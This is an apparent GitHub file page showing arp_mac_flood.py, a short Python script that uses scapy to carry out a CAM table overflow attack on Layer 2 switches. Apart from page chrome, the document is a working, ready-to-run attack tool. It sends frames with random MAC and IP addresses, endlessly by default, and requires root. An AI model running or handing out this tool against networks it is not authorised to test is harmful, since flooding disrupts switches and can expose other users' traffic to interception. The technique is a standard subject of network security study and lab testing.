-
Notifications
You must be signed in to change notification settings - Fork 2
Expand file tree
/
Copy patharp_mac_flood.py
More file actions
executable file
·37 lines (26 loc) · 918 Bytes
/
arp_mac_flood.py
File metadata and controls
executable file
·37 lines (26 loc) · 918 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#!/usr/bin/env python3
# Description: Perform CAM overflow attack on Layer2 switches
# Depends on: scapy
import argparse
from scapy.all import *
iface = get_working_if()
parser = argparse.ArgumentParser(add_help=True,
description="Perform CAM overflow attack on Layer 2 switches")
parser.add_argument('-i', action="store", dest="iface",
help=f'interface name (default is {iface})',
default=iface)
parser.add_argument('-c', action="store", dest="count",
help='count of packets to send (default is unlimited)')
args = parser.parse_args()
if os.getuid() != 0:
print("Must be superuser.")
sys.exit(1)
pkt = Ether(src=RandMAC(),dst=RandMAC())/IP(src=RandIP(),dst=RandIP())
if args.iface:
iface = args.iface
if args.count:
sendp(pkt, iface=iface, count=int(args.count))
else:
sendp(pkt, iface=iface, loop=1)
# vim:sw=4:ts=4:sts=4:et:tw=71:cc=72
# End of file.